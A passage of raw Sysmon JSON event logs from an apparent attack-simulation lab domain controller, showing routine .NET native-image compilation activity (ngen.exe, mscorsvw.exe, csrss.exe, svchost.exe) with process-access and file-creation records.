12:04:21.385","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4345-5F2D-0000-0010641D1100}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8274,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:21.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4345-5F2D-0000-0010641D1100}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:21.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4345-5F2D-0000-0010641D1100}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8275,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:21.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4345-5F2D-0000-0010641D1100}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:21.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4345-5F2D-0000-0010641D1100}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8276,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:24.932\r\nProcessGuid: {90617006-4345-5F2D-0000-0010641D1100}\r\nProcessId: 2512\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\9d0-0\\System.Data.dll\r\nCreationUtcTime: 2020-08-07 12:04:24.932","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:24.932","ProcessGuid":"{90617006-4345-5F2D-0000-0010641D1100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\9d0-0\\System.Data.dll","CreationUtcTime":"2020-08-07 12:04:24.932","EventReceivedTime":"2020-08-07 12:04:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8277,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:25.088\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4349-5F2D-0000-00101C231100}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:25.088","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4349-5F2D-0000-00101C231100}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8278,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:25.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4349-5F2D-0000-00101C231100}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:25.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4349-5F2D-0000-00101C231100}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8279,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:25.104\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4349-5F2D-0000-00101C231100}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:25.104","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4349-5F2D-0000-00101C231100}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8280,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:25.338\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4349-5F2D-0000-0010ED261100}\r\nTargetProcessId: 4800\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:25.338","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4349-5F2D-0000-0010ED261100}","TargetProcessId":"4800","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8281,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:25.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4349-5F2D-0000-0010ED261100}\r\nTargetProcessId: 4800\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:25.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4349-5F2D-0000-0010ED261100}","TargetProcessId":"4800","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8282,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:25.354\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4349-5F2D-0000-0010ED261100}\r\nTargetProcessId: 4800\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 